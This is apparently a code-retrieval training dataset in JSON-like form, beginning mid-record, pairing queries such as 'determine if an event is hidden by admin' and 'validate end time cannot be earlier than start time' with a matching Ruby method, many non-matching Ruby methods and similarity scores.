< Time.now.to_i\n end", "def expired?\n remaining.zero?\n end", "def session_expired?\n if session[:last_authenticated_action_at]\n session_expires_at = session[:last_authenticated_action_at] + (60 * 60 * SESSION_HOURS)\n session_expires_at < Time.now\n else\n false\n end\n end", "def expired?\n config['expired'] || false\n end", "def expired?\n (Time.now - created_at) > 1.week\n end" ]
[ "0.8028491", "0.79227525", "0.7835721", "0.77996075", "0.77374166", "0.77341044", "0.77300525", "0.77004135", "0.7689028", "0.76824254", "0.76695436", "0.7639126", "0.7635659", "0.761576", "0.76122284", "0.7599086", "0.75877947", "0.75784826", "0.75738645", "0.7571503", "0.75690466", "0.75689536", "0.7566959", "0.7551737", "0.7547853", "0.75301576", "0.75239074", "0.752096", "0.7519339", "0.7519339", "0.7505742", "0.7491983", "0.74784756", "0.74784756", "0.7473438", "0.7466059", "0.74587", "0.7455144", "0.7449753", "0.74404466", "0.7431803", "0.7431197", "0.7423919", "0.7421888", "0.7410154", "0.73910975", "0.7387779", "0.7375419", "0.73683447", "0.736614", "0.73595595", "0.7358188", "0.7346897", "0.7335482", "0.7335482", "0.73212767", "0.73155826", "0.7313058", "0.73125553", "0.7305655", "0.73003536", "0.73003536", "0.72974914", "0.7274227", "0.726551", "0.72624123", "0.7240372", "0.72377324", "0.7229297", "0.72291505", "0.72163504", "0.7213097", "0.718451", "0.7163783", "0.71625465", "0.7160186", "0.71527874", "0.7142552", "0.713665", "0.7131576", "0.71140677", "0.71074057", "0.7087042", "0.7084647", "0.70390296", "0.703653", "0.7030722", "0.701504", "0.7011276", "0.70081604", "0.70081604", "0.7006657", "0.69926286", "0.6978858", "0.69716483", "0.69620353", "0.6943048", "0.6941269", "0.691521", "0.68971467" ]
0.8490823
0
determine if an event is hidden by admin
def is_hidden? self.hidden end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def hidden?\n not visible\n end", "def hidden?\n hidden_at?\n end", "def hidden?\n hidden_at?\n end", "def hidden?\n hidden_at?\n end", "def eventunscrape?\n @user.is_admin?\n end", "def hidden?()\n not visible?()\n end", "def hidden?\n false\n end", "def hidden?\n end", "def not_hidden?\n not hidden\n end", "def hidden?\n self.privacy == HIDDEN\n end", "def hidden?\n false\n end", "def hidden?\n false\n end", "def hidden?\n return @hidden\n end", "def show_detailed_exceptions?\n !!current_admin\n end", "def hidden?\n return @hidden\n end", "def hidden?\n @hidden\n end", "def get_hide_attendance\r\n event = Event.find_by(id: params[:eventid].to_i)\r\n if event.present?\r\n guest = event.event_guest_lists.where(user_id: current_user.id).first\r\n if guest.present? && guest.hide_attendance == 1\r\n render json: SuccessResponse.new(code: 200, message: 'True'), adapter: :json, status: :ok\r\n else\r\n render json: ErrorResponse.new(code: 400, message: 'False'), adapter: :json, status: :bad_request\r\n end\r\n else\r\n render json: ErrorResponse.new(code: 404, message: 'Event not found'), adapter: :json, status: :not_found\r\n end\r\n end", "def download_events?\n event_planner? || super_admin?\n end", "def hidden?\n if object.respond_to? :menu_hidden\n object.menu_hidden\n end\n end", "def show\n require 'uri'\n @event = EventOwner.find(params[:id])\n @is_admin = current_user && current_user.id == @event.id\n end", "def hidden?(*)\n false\n end", "def admin?\n !current_user.AdminScreen?\n end", "def admin?\n !adminified_at.nil?\n end", "def hide_admin\n admin? ? '' : 'hide'\n end", "def hide?\n @hide\n end", "def invisible?\n false\n end", "def invisible?\n false\n end", "def invisible?\n false\n end", "def awaiting_admin_events\n candidate_events.select(&:awaiting_admin?)\n end", "def hidden?()\n @view__.hidden?\n end", "def check_visibility\n if not @organisation.active?\n hidden = false\n if not current_user == @organisation\n hidden = true\n end\n\n current_user.is_a?(User) and current_user.has_role?(:admin) ? hidden = false : nil\n if hidden\n raise Helpedia::ItemNotVisible\n end\n end\n end", "def admin_only\n false\n end", "def is_visible?\n visibility && ( visibility > 0 )\n end", "def visible_exercise? exercise\n !exercise.read_task(:visible_to_admin_only) || current_user.mentor?\n end", "def none?\n self.display_on == \"none\"\n end", "def hideable?\n @hideable ||= [\"Task deferred\", \"Project deferred\", \"Waiting on\", \"Hanging\"].include?(status)\n end", "def is_visible?\n setup.show_all? || Date.today >= start_at\n end", "def hidden?\n hooked? && currently_defined?\n end", "def visible?\n !(self.created? || self.suspended? || self.deleted?)\n end", "def visible?\n !(self.created? || self.suspended? || self.deleted?)\n end", "def visible?\n !(self.created? || self.suspended? || self.deleted?)\n end", "def show\n is_admin?\n end", "def eventless?\n ! @event\n end", "def export?\n director?(record.event) || super_admin?\n end", "def is_public?\n !@@hide_status_choices.include?(self.status)\n end", "def event_has_roles?\n false\n end", "def show\n is_admin?\n end", "def declined?(event)\n\t\tattended_events.declined.include?(event)\n\tend", "def isAdminRun()\n\t\treturn @isAdminRun\n\tend", "def is_admin_request?\n !(@_admin_menus.nil?)\n end", "def is_showable\n return true unless self.is_hidden or self.is_deleted or self.status == \"tmp\"\n end", "def is_admin\n return Admin.find_by(email: session[:email]) != nil\n end", "def admin_access?\n admin?\n end", "def visible?\n end", "def admin?() false end", "def event?\n !! @event\n end", "def is_admin?\n self.admin\n end", "def is_admin?\n self.admin\n end", "def is_admin?\n self.admin\n end", "def is_admin?\n self.admin\n end", "def is_admin?\n session[:is_admin]\n end", "def in_hidden_entrance\r\n\r\n # Determine the tile placement, as integers \r\n tile_x = (@player.get_x/16).to_i\r\n tile_y = (@player.get_y/16).to_i\r\n\r\n # Hidden tile is present, so return true\r\n if @level[1][tile_y-1][tile_x] > 0 then\r\n return true\r\n\r\n # Otherwise the player is no longer hidden\r\n else\r\n return false\r\n end\r\n end", "def logged_admin?\n !current_admin.nil?\n end", "def is_tracker_admin?\n self.tracker_admin_role != nil\n end", "def show\n #TODO\n if !current_user.has_role?(:admin)\n redirect_to events_path\n return\n end\n end", "def is_admin?\n self.is_admin == \"true\"\n end", "def is_admin\n object.admin?\n end", "def isAdmin?\n return @is_admin\n end", "def can_edit?\n !published_at\n end", "def event? eve\n @_events.include? eve\n end", "def visible?\n true\n end", "def admin?\n self.admin\n end", "def hide_edit_links?\n not @hide_edit_links.nil?\n end", "def hide_edit_links?\n not @hide_edit_links.nil?\n end", "def admin?\n app_session.admin?\n end", "def admin?\r\n infoxml = get_info\r\n return infoxml['isadmin'] == '1'\r\n end", "def hide_edit_links?\n !@hide_edit_links.nil? && @hide_edit_links == true \n end", "def admin?\n\t\tuser_session.admin?\n\tend", "def hidden?\n @field.widget.hidden?\n end", "def hide_edit_links?\n\tnot @hide_edit_links.nil?\nend", "def admin?\n self.admin\n end", "def admin?\n self.admin\n end", "def admin?\n self.admin\n end", "def admin?\n return self.admin == true\n end", "def visibility_changed?\n !(@old_visible_value == visible)\n end", "def is_removed?\n self.has_current_status_of?(ArticleSubmission::ADMIN_REMOVED) || self.has_current_status_of?(ArticleSubmission::REMOVED)\n end", "def is_admin\n\t\tself.admin == true\n\tend", "def is_admin\n admin?\n end", "def is_admin?\n\t\tself.admin\n\tend", "def admin?\n false\n end", "def is_admin?\n is_admin == 1\n end", "def appHelper_ifAdmin\n if session[:user_admin]\n return true\n end\n return false\n end", "def event?\n type == :event_id\n end", "def event?\n type == :event_id\n end", "def admin_only\n logged_in_as_admin? || admin_only_access_denied\n end", "def visible?\n @visible\n end", "def visible?\n @visible\n end", "def past_step_2?\n !spectator? && status_is_active?(\"events\")\n end", "def show?\n @current_user.admin?\n end", "def event?\n entry_type == :event\n end" ]
[ "0.69010645", "0.6890891", "0.6890891", "0.6890891", "0.6873011", "0.6852094", "0.67290497", "0.67245084", "0.6713119", "0.66771126", "0.6664148", "0.6664148", "0.66370064", "0.66290087", "0.66233903", "0.6594885", "0.6524129", "0.6523141", "0.65138566", "0.64834476", "0.63993555", "0.63920724", "0.6382914", "0.63668305", "0.63498044", "0.63286304", "0.6292903", "0.6292903", "0.62808454", "0.62523025", "0.624141", "0.6233899", "0.62014645", "0.61905974", "0.61879796", "0.618635", "0.6180293", "0.6177797", "0.6147375", "0.6147375", "0.6147375", "0.61426526", "0.6134724", "0.6129234", "0.61254895", "0.6123688", "0.61121917", "0.60989106", "0.60981876", "0.609204", "0.6089809", "0.60850626", "0.60696054", "0.6065089", "0.60581535", "0.6054276", "0.60273176", "0.60273176", "0.60273176", "0.60273176", "0.6020929", "0.60207003", "0.6008966", "0.59973913", "0.5996031", "0.5994528", "0.5988374", "0.5984274", "0.5978062", "0.5976144", "0.5971463", "0.5964423", "0.5959088", "0.5959088", "0.59575963", "0.59567785", "0.5953697", "0.5950395", "0.59481096", "0.59474105", "0.59421885", "0.59421885", "0.59421885", "0.5941436", "0.5937753", "0.59374046", "0.5935601", "0.59235394", "0.5922593", "0.59221673", "0.5919639", "0.59120697", "0.5909752", "0.5909752", "0.590845", "0.5882385", "0.5882385", "0.5882053", "0.5880389", "0.5880156" ]
0.6653252
12
validate end time cannot be earlier than start time
def end_time_cannot_be_earlier_than_start_time if end_time && start_time if end_time < start_time errors.add(:end_time, "End time should not be earlier than start time.") end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def validate_end_time\n if self.end_time.present? && self.end_time < self.start_time\n errors.add(:end_time, \"can't be before start time\")\n end\n end", "def validate_temporal_sanity\n errors.add(:end_time, \"Must be after Start Time.\") unless self.start_time < self.end_time\n end", "def end_time_must_be_after_start_time\n if self.start_time > self.end_time\n errors.add(:end_time, 'must be after start time')\n end\n end", "def end_time_after_start_time\n return if end_time.blank? || start_time.blank?\n\n if end_time < start_time\n errors.add(:end_time, \"must be after the start time\")\n end\n end", "def start_time_before_end_time\n return true unless start_time && end_time\n\n errors.add(:start_time, 'must be before end time') unless start_time < end_time\n end", "def start_time_before_end_time\n if start_time and end_time and start_time >= end_time\n errors.add(:start_time, \"Must be before end time\")\n errors.add(:end_time, \"Must be after start time\")\n end\n end", "def end_time_after_start_time\n if self.end_time && self.end_time < self.start_time\n self.errors.add(:end_time, \"The end time must be after the start time\")\n end\n end", "def validate_timings\n p start_time, end_time\n if (start_time > end_time)\n errors[:base] << \"Start Time must be less than End Time\"\n end\n end", "def validate_start_end_time\n if start_time && end_time && start_time.to_i >= end_time.to_i\n errors.add(:base, \"Start At cannot be greater than End At\")\n end\n\n if end_time.to_i > api_duration_seconds.to_i\n errors.add(:base, \"End At cannot be longer than the video duration: \" + api_duration_seconds.to_s)\n end\n end", "def end_time_after_start_time\n if start_time && end_time && end_time < start_time\n errors.add :end_time, \"must be after the start of shift\"\n errors.add :start_time, \"must be before the end of shift\"\n end\n end", "def is_correct_time? #:doc:\n if(self.endTime && self.startTime && (self.endTime<=>self.startTime)==-1)\n errors.add([:starTime,:endTime],\"Attenzione l'ora di inizio è piu grande dell'ora di fine\")\n end\n end", "def ends_after_start\n unless end_time.nil? || start_time.nil?\n errors[:end_time] << \"can't be before start time\" if end_time < start_time\n end\n end", "def validate_start_date_before_end_date\n\t\tif end_time <= start_time\n\t\t\terrors.add(:end_time, \"must be after start time\")\n\t\tend\n\tend", "def start_before_end\n if start_time > end_time\n errors.add :start_time, s_(\"BookingValidationError|must be before end time\")\n end\n end", "def start_end_time\n errors[:start_time] << _('errors.invalid_shift_time') if start_time.to_i > end_time.to_i\n end", "def end_time_after_start_time\n if self.event_start_time && self.event_end_time\n errors.add(:event_end_time, \"must be after the event start time\") unless\n self.event_end_time >= self.event_start_time\n end\n end", "def check_future\n current_start = DateTime.strptime(self.start_time,\"%m/%d/%y %H:%M\").to_time\n current_end = DateTime.strptime(self.end_time,\"%m/%d/%y %H:%M\").to_time \n\n # checks start time of appt is before end time #\n if current_start < current_end\n if current_start > Time.now && current_end > Time.now\n @valid = true\n else\n @valid = false\n end\n end\n @valid\n p @valid\n end", "def validate(record)\n if !record.start_time.nil? && !record.end_time.nil? && record.start_time >= record.end_time\n record.errors[:end_time] << 'End date should be greater that start date!'\n end\n \n if !record.start_time.nil? && record.start_time < Time.now\n record.errors[:start_time] << 'Start time must be greater than current time'\n end\n end", "def ends_after_it_starts\n if !starts_before_it_ends?\n errors.add(:start_time, 'must be before the end time')\n end\n end", "def start_must_be_before_end_time\n unless active_start_time.nil? or active_stop_time.nil?\n errors.add(:active_start_time, \"must be before stop time\") unless\n active_start_time < active_stop_time\n end\n end", "def date_consistency\n\t\treturn if [start_time.blank?, end_time.blank?].any?\n\t\terrors.add(:start_time, 'must be after end_time') if start_time > end_time\n\tend", "def date_consistency\n\t\treturn if [start_time.blank?, end_time.blank?].any?\n\t\terrors.add(:start_time, 'must be after end_time') if start_time > end_time\n\tend", "def validate_time(start_time, end_time)\n\t\t\t\ttime_now = Time.now.strftime(\"%m/%d/%Y %H:%M\")\n\t\t\t\tappointments = Appointment.all\n\t\t\t\ttoday = start_time.split[0]\n\t\t\t\ttoday_appts = appointments.where(start_time: today)\n\t\t\t\tresult = false\n\n\t\t\t\tif start_time > time_now\n\t\t\t\t\tif today_appts.length == 0\n\t\t\t\t\t\treturn true\n\t\t\t\t\tend\n\t\t\t\t\ttoday_appts.each do |appt|\n\t\t\t\t\t\tif start_time <= appt.end_time && appt.start_time <= end_time\n\t\t\t\t\t\t\treturn false\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tresult = true\n\t\t\t\t\t\tend\n\t\t\t\t\tend#end of each loop\n\t\t\t\tend#end of if start_time\n\t\t\t\tresult\n\t\t\tend", "def start_must_be_before_end_date\n if(self.start_date && self.end_date)\n valid = self.start_date < self.end_date\n errors.add(:start_date, \"must be before end time\") unless valid\n end\n end", "def start_must_be_before_end_date\n if(self.start_date && self.end_date)\n valid = self.start_date < self.end_date\n errors.add(:start_date, \"must be before end time\") unless valid\n end\n end", "def less_than_2_hours\n two_hours_later = start_time + 2.hours\n errors.add(:end_time, 'should be at most 2 hours after start time (interviews must be shorter than 2 hours in duration)') if end_time > two_hours_later\n end", "def start_after_now\n unless start_time.nil? || end_time.nil?\n errors[:start_time] << \"can't be in the past\" if start_time < Time.now\n end\n end", "def valid_venue_time?\n valid_time = self.venue.matches.all? do |match|\n !(match.start_time >= self.start_time && match.start_time <= self.end_time || match.end_time >= self.start_time && match.end_time <= self.end_time)\n end\n errors.add(:start_time, \"The venue is not available for this time\") unless valid_time\n end", "def shift_end_hour\n if self.start_time.hour >= 0 && self.start_time.hour <= 2 && self.end_time.hour > 2 \n errors.add(:end_time, 'must be between 7am and 3am')\n end\n if self.end_time.hour > 2 && self.end_time.hour < 7\n errors.add(:end_time, 'must be between 7am and 3am')\n end \n end", "def validate_start_and_stop_time\n if active_time\n if active_start_time.nil? or active_stop_time.nil?\n errors.add(:active_time, \"start time or end time not set\")\n end\n end\n end", "def validate_with_shift_times # see alias_method_chain above\n #s_time = (start_time.hour * 2) + (start_time.min/30)\n #e_time = (params[:issue][:end_time].hour * 2) + (params[:issue][:end_time].min/30)\n\n #if (e_time<=s_time) && (e_time == 0 || e_time == 1)\n # #errors.add :due_date, :greater_than_start_date\n # end_time = Issue.time_list[e_time+48] #assuming user knows what he's doing, automatically adjusts the time to next day\n #end\n\n if self.end_time and self.start_time and self.end_time <= self.start_time\n errors.add :due_date, :greater_than_start_date\n end\n\n end", "def check_dates\r\n self.start_time -= 8.hours\r\n self.end_time -= 8.hours\r\n end", "def end_date_is_bigger?\n return if [endDate.blank?, startDate.blank?].any?\n\n errors.add(:base, 'The end time must be later than the start time') if endDate < startDate\n end", "def start_datetime_should_be_less_than_finish_datetime\n errors.add(:start_date, \"をfinish_dateより前に入力してください\") unless start_datetime <= finish_datetime\n end", "def time_valid\n if self.valid_from and self.valid_to then\n errors.add(:valid_from,\n \"must be before the valid to date. #{self.valid_from} >= #{self.valid_to}\") unless self.valid_from < self.valid_to\n else\n if self.valid_from or self.valid_to then\n errors.add(:valid_from,\n \" must be set when valid_to is set.\") unless self.valid_from\n errors.add(:valid_to,\n \" must be set when valid_from is set.\") unless self.valid_to\n end\n end\n end", "def validate_negative_times\n return true if (time_type != \"penalty\" && time_type != \"gift_given\") || start.nil? || finish.nil?\n if r = start <= finish\n errors.add(:start, \"must come after finish, for penalties\")\n end\n r\n end", "def validate_future_start_time\n\t\tif start_time <= Time.now\n\t\t\terrors.add(:start_time, \"must be in the future\")\n\t\tend\n\tend", "def end_time_is_valid?\n return false unless not_nil_and_string(self.end_time)\n return self.end_time.length > 0\n end", "def check_end_time\n return unless self.end_time?\n calculate_total_time unless self.total_time?\n end", "def check_end_date\n # if self.category.eql?(\"appointment\")\n unless self.start_date.nil? or self.end_date.nil?\n if (self.end_date < self.start_date)\n self.category.eql?(\"appointment\")? self.errors.add(' ', 'End Date can\\'t be before Start Date') : self.errors.add(' ', 'Due Date can\\'t be before Start Date')\n end\n if self.end_date == self.start_date\n self.errors.add(' ', 'End Time can not be before start time') if (self.end_date.to_time < self.start_date.to_time)\n end\n end\n # end\n end", "def ensure_starts_at_is_before_ends_at\n if starts_at && ends_at && starts_at >= ends_at\n errors.add(:ends_at, :is_before_starts_at)\n end\n end", "def end_time_is_valid\n errors.add(:end_time,'Invalid empty string for end time.') unless end_time_is_valid?\n end", "def valid?(time=Time.now.utc)\n time>not_before && time<self.not_after\n end", "def check_time\t\n\t\treturn unless errors.blank? #this will ensure the right error count on top area\n\t\tif @start_date.present? && @start_time.present?\n\t\t\t#concatenate start_date and start_time\n\t\t\tstart_at = Time.parse(\"#{@start_date} #{@start_time}\") \n\t\t\t#variable that holds the time 12 hours from now\n\t\t\tstart_at_plus_12_hours = Time.now + (12.hours)\n\t\t\tif start_at <= Time.now\n\t\t\t\terrors.add(:start_date, \"Please do not enter a past date or past time.\")\n\t\t\t\terrors.add(:start_time, \"Please do not enter a past date or past time.\")\n\t\t\telsif start_at < start_at_plus_12_hours \n\t\t\t\terrors.add(:start_date, \"Please only enter a time 12 hours from now\")\n\t\t\tend\n\t\tend\n\tend", "def valid_start_and_end_dates?\n return false unless start.present? && self.end.present?\n start <= self.end\n end", "def valid_end_date\n self.end_date - self.start_date > 0 ? true : false\n end", "def time_span\n unless start_date < end_date\n errors.add(:courses, \"Please choose a time span longer than one day.\")\n end\n end", "def check_dates\n # TODO the init_time must be less then the end_time\n true\n end", "def validate_positive_times\n return true if (time_type == \"gift_given\" || time_type == \"penalty\") || start.nil? || finish.nil?\n if r = start >= finish\n errors.add(:start, \"must come before finish\")\n end\n r\n end", "def valid_time\n return if init.nil? || finish.nil?\n if init < Week.init || init > Week.finish\n errors.add(:init, \"Deve ser no périodo desta semana\")\n elsif finish < Week.init || finish > Week.finish\n errors.add(:finish, \"Deve ser no périodo desta semana\")\n elsif finish < init\n errors.add(:finish, \"Deve ser maior que a data de início\")\n end\n end", "def reservation_dates_must_make_sense\n\t if end_date <= start_date\n\t\t errors.add(:start_date, \"has to be before the end date\")\n\t end\n\tend", "def time_must_be_in_the_future\n if !time.present? || DateTime.current > time\n errors.add(:time, \"cant be in the past\")\n end\n end", "def valid_tee_time?(datetime)\n before_5pm = (datetime.hour <= 16 && datetime.min <= 40)\n after_9am = datetime.hour >= 9\n before_end_date = (datetime + 3.hours) <= @end_time\n return before_5pm && after_9am && before_end_date\n end", "def validate_end_date\n start = Date.parse(start_date.to_s)\n last = Date.parse(end_date.to_s)\n puts \"is date #{last} before #{start}\"\n errors.add(:end_date, \"can't be before the start date\") if last < start\n end", "def time_cannot_be_in_the_past\n time1 = DateTime.now - 300.minutes\n time2 = self.time \n if time1 > time2 \n errors.add(:time, \"can't be in the past \")\n end\n end", "def covers?(time)\n start_time <= time && time < end_time\n end", "def covers?(time)\n start_time <= time && time < end_time\n end", "def start_must_be_in_the_future\n errors.add(:start, \"must be in the future\") if !start.blank? and start < DateTime.now\n end", "def validate_start_and_end_date\n self.errors.add(:event_start_date, \"should not be in past\") if self.event_start_date < Date.today\n self.errors.add(:event_end_date, \"should not be in past\") if self.event_end_date < Date.today\n self.errors.add(:event_end_date, \"start date should not be after end date\") if self.event_end_date < self.event_start_date\n self.errors.add(:event_end_time, \"end time should not be before start time\") if (self.event_end_date == self.event_start_date and self.event_end_time < self.event_start_time)\n return self\n end", "def validate_dates\n if start_at && end_at\n errors.add(:end_at, 'should be greater than start date') if end_at <= start_at\n end\n end", "def check_times\n if start_end_times.count > 0 && !start_end_times.nil?\n start_end_times.each do |t|\n return true if t.check_time_ranges\n end\n\n false\n else\n true\n end\n end", "def date_cannot_be_in_the_past\n if end_time.present? && end_time < Time.zone.today\n errors.add(:end_time, \"end_date can't be in the past\")\n elsif start_time.present? && start_time < Time.zone.today\n errors.add(:start_time, \"start_date can't be in the past\")\n end\n end", "def validate\n if (start_date > end_date || (start_date == end_date && start_time >= end_time))\n errors.add(\"end_date\", I18n.t(\"tog_conclave.fields.errors.end_date_before_start_date\"))\n end\n loc = gg.locate self.venue_address rescue nil\n #errors.add(\"venue_address\", I18n.t(\"tog_conclave.fields.errors.venue_address_error\")) if loc.nil?\n end", "def relevant_time?\n\t\tself.start < Time.now && self.end >Time.now \n\tend", "def delivery_time_can_not_be_too_soon\n if time < Time.now + @@starttime\n errors.add(\"Ora di consegna:\", \"ci vogliono almeno #{@@starttime/60} minuti per l\\'elaborazione.\n Quindi ordinazioni prima delle #{(Time.now + @@starttime).strftime(\"%H:%M\")} non possono essere accettate.\")\n end\n end", "def valid_reservation_time?(reservation_time)\n reservation_h = reservation_time.strftime(\"%H\").to_i\n start_h = start_time.strftime(\"%H\").to_i\n end_h = end_time.strftime(\"%H\").to_i\n if start_h < reservation_h && reservation_h < end_h\n return true\n else\n return false\n end\n end", "def time_allow(get_time, min_period_time, max_period_time)\n to_time = Time.parse(get_time)\n now_time = Time.now\n return to_time - now_time < max_period_time - min_period_time && to_time - now_time > min_period_time\n end", "def check_date\n\t\tif self.hasError\n\t\t\terrors.add(\"\", \"You entered Invalid date: \\n - \"+self.interviewer.name)\n\t\t\t# puts \"===================CHECKDATE===================\"\n\t\telsif Time.at(self.sched_end.to_i) <= Time.at(self.sched_start.to_i)\n\t\t\terrors.add(\"\", \"Start time cannot be greater than end time \\n - \"+self.interviewer.name)\n\t\tend\n\tend", "def more_than_a_day_passed?(start_time, end_time)\n end_time - start_time > 60 * 60 * 24\n end", "def within_time_period?\n return true unless start_time || end_time\n\n if start_time && end_time\n (start_time..end_time).cover? Time.current\n elsif start_time\n Time.current >= start_time\n elsif end_time\n Time.current <= end_time\n end\n end", "def crossed_day_change_boundary?(start_time, end_time)\n start_time.hour < 4 && end_time.hour >= 4\n end", "def shift_start_hour\n if self.start_time.hour > 2 && self.start_time.hour < 7\n errors.add(:start_time, 'must be between 7am and 2am')\n end \n end", "def timing_order\n if start_time && end_time && end_time < start_time\n errors.add(:end_time, I18n.t('activerecord.errors.models.membership.attributes.end_time.timing_order'))\n end\n end", "def validate_start_date\n start = Date.parse(start_date.to_s)\n last = Date.parse(end_date.to_s)\n puts \"is date #{start} after #{last}\"\n errors.add(:start_date, \"can't be after the end date\") if start > last\n end", "def time_collision_validation\n\t\tappointments = Appointment.all\n\n\t\t#if duration is equals to 0, it means it is fixed pay. \n\t\t#Here, duration is set to 0 so it will not be validated \n\t\t#This will execute if is_pay_per hour is set to 0\n\t\tif @start_date.present? && @start_time.present? && duration == 0.to_s\n\t\t\tstart_at = Time.parse(\"#{@start_date} #{@start_time}\") + (1.hours)\n\t\t\t\n\t\t\tappointments.each do |a|\n\t\t\t\t# will ensure that the appointment to compare will not be compared to itself in the database if it exists\n\t\t\t\tif a.id.to_s != @appointment_id.to_s\n\t\t\t\t\t# compare fixed-pay input to pay per hour appointment\n\t\t\t\t\tif a.task.is_pay_per_hour && start_at < a.end_at && start_at >= a.start_at \n\t\t\t\t\t\terrors.add(:start_time, \"Please select a different date or time.\")\n\t\t\t\t\t\terrors.add(:start_date, \"An appointment is already \n\t\t\t\t\t\t\tset at #{a.start_at.strftime(\"%I:%M%p\")}, #{a.start_at.strftime(\"%d/%m/%Y\")} \n\t\t\t\t\t\t\tto #{a.end_at.strftime(\"%I:%M%p\")} on #{a.end_at.strftime(\"%d/%m/%Y\")}. \n\t\t\t\t\t\t\tPlease select a different date or time.\")\n\t\t\t\t\t\tbreak\n\n\n\t\t\t\t\t\t#compare fixed-pay input to fixed pay appointment\n\t\t\t\t\telsif !a.task.is_pay_per_hour && start_at == a.start_at \n\t\t\t\t\t\terrors.add(:start_time, \"Please select a different date or time.\")\n\t\t\t\t\t\terrors.add(:start_date, \"A fixed pay appointment is aleady set at #{a.start_at.strftime(\"%I:%M%p\")}\n\t\t\t\t\t\t\t, #{a.start_at.strftime(\"%d/%m/%Y\")}. \n\t\t\t\t\t\t\tPlease select a different date or time.\")\n\t\t\t\t\t\tbreak\n\t\t\t\t\tend \t\n\t\t\t\tend \t\n\t\t\tend\n\n\n\t\t\t\t#Here, duration should be present and will be always validated\n\t\t\t\t#This will execute if is_pay_per hour is set to 1\n\t\t\telsif @start_date.present? && @start_time.present? && duration.present?\n\t\t\t\tstart_at = Time.parse(\"#{@start_date} #{@start_time}\") + (1.hours)\n\t\t\t\tend_at = Time.parse(\"#{@start_date} #{@start_time}\") + (@duration.to_f.hours+ (1.hours))\n\n\t\t\t\tappointments.each do |a|\n\t\t\t\t\t# will ensure that the appointment to compare will not be compared to itself in the database if it exists\n\t\t\t\t\tif a.id.to_s != @appointment_id.to_s\n\t\t\t\t\t\t# compare pay per hour input to pay per hour appointment\n\t\t\t\t\t\tif a.task.is_pay_per_hour && start_at < a.end_at && a.start_at < end_at \n\n\t\t\t\t\t\t\terrors.add(:start_time, \"Please select a different date or time.\")\n\t\t\t\t\t\t\terrors.add(:start_date, \"An appointment already \n\t\t\t\t\t\t\t\texists at #{a.start_at.strftime(\"%I:%M%p\")}, #{a.start_at.strftime(\"%d/%m/%Y\")} \n\t\t\t\t\t\t\t\tto #{a.end_at.strftime(\"%I:%M%p\")} on #{a.end_at.strftime(\"%d/%m/%Y\")}. \n\t\t\t\t\t\t\t\tPlease select a different date or time.\")\n\t\t\t\t\t\t\tbreak\n\n\t\t\t\t\t\t\t#compare pay per hour input to fixed pay appointment\n\t\t\t\t\t\telsif !a.task.is_pay_per_hour && a.start_at <= end_at && a.start_at >= start_at\n\n\t\t\t\t\t\t\terrors.add(:start_time, \"Please select a different date or time.\")\n\t\t\t\t\t\t\terrors.add(:start_date, \"A fixed pay appointment is aleady set at #{a.start_at.strftime(\"%I:%M%p\")}\n\t\t\t\t\t\t\t\t, #{a.start_at.strftime(\"%d/%m/%Y\")}. \n\t\t\t\t\t\t\t\tPlease select a different date or time.\")\n\t\t\t\t\t\t\tbreak\t\t\t\t\n\t\t\t\t\t\tend\t\t\t\n\t\t\t\t\tend \n\t\t\t\tend\n\t\t\tend \n\t\tend", "def relevant_time?\n\t\tself.start <= DateTime.now && self.end >= DateTime.now\n\t\t# (self.start.hour <= DateTime.now.hour) (self.start.minute <= DateTime.now.minute) && (self.end.hour >\tDateTime.now.hour) \n\tend", "def start_must_be_before_end_date\n unless active_start_date.nil? or active_stop_date.nil?\n errors.add(:active_date, \"Start date must be before stop date\") unless\n active_start_date < active_stop_date\n end\n end", "def period_ended_after_start\n invalid = false\n if period_started_at.present? and period_ended_at.present? and not period_ended_at > period_started_at\n errors.add( :period_ended_at, :end_before_start )\n invalid = true\n end\n invalid\n end", "def start_time_is_valid?\n return false unless not_nil_and_string(self.start_time)\n return self.start_time.length > 0\n end", "def validate_end_date_before_start_date\n return if date_out.nil? \n if date_out && date_in\n errors.add(:date_in, \": could not be after than Date out\") if date_out < date_in\n end\n end", "def start_date_before_end_date\n return unless start_date && end_date\n\n errors.add(:start_date, 'can\\'t be after the end date') if start_date > end_date\n end", "def verify_start_time time\n\n # Check that there are currently\n # records on the day to iterate through\n dsym = self.class.date_symbol time\n return true if not self.class.days_index[dsym]\n\n self.class.days_index[dsym].each do |record|\n\n next if record.end_time == :running\n next if record == self\n if time < record.end_time\n raise ArgumentError, \"Time conflict with existing record\" if time_in_record? time, record\n end\n end\n true\n end", "def end_time_check\n if self.event_type == \"Script\" || self.event_type == \"Gamecall\"\n if end_time > start_time\n self.end_time = start_time\n end\n end\n end", "def is_date_range?\n start_time.present? && end_time.present?\n end", "def end_date_after_start_date\n return if duration_start.blank? || duration_end.blank?\n\n if duration_end < duration_start\n errors.add(:end_date, \"must be after the start date\")\n end\n end", "def date_validation\n\t\tif start_date >= end_date\n \t\terrors.add(:end_date, \"must be greater than start date\")\n \tend\n end", "def finish_cannot_be_before_start\n errors.add(:base, \"Your shift can't finish before it starts\") if start.to_datetime > finish.to_datetime\n end", "def start_time_is_valid\n errors.add(:start_time,'Invalid empty string for start time.') unless start_time_is_valid?\n end", "def start_on_before_end_on\n errors.add :start_on, 'invalid date format' if start_on.present? && !valid_date?(date: start_on)\n errors.add :end_on, 'invalid date format' if end_on.present? && !valid_date?(date: end_on)\n errors.add :start_on, 'invalid date range (Start must come before end)' if start_on.present? && end_on.present? && start_on > end_on\n end", "def is_valid_time?(timeBegin, timeEnd)\n\n\t\t#zone = Timezone.get('America/Chicago').now.zone\n\n\t\t#freebusy method only responds to a couple of months (maybe <=3)\n\t\tresponse = @client.execute(api_method: @service.freebusy.query,\n\t\t\t\t\t body: JSON.dump({\n\t\t\t timeMin: timeBegin,\n\t\t\t timeMax: timeEnd,\n\t\t\t timeZone: 'America/Chicago',\n\t\t\t items:[ id: ENV['NSCS_Calendar_ID']]\n\t\t\t }),\n\t\t\t headers: {'Content-Type' => 'application/json'})\n\t\[email protected]!\n\t\tevents = JSON.parse(response.body)\n\t\t\n\t\t#TODO iteratife over events.\n\t\t\n\tend", "def end_date_cannot_be_before_start_date\n\t\tif start_date.present? && end_date.present? && end_date < start_date\n\t\t\terrors.add(:end_date, \"cannot be before start date\")\n\t\tend\n\tend", "def expected_end\n val = super\n val = DatelessTime.new val unless val.blank?\n val\n end", 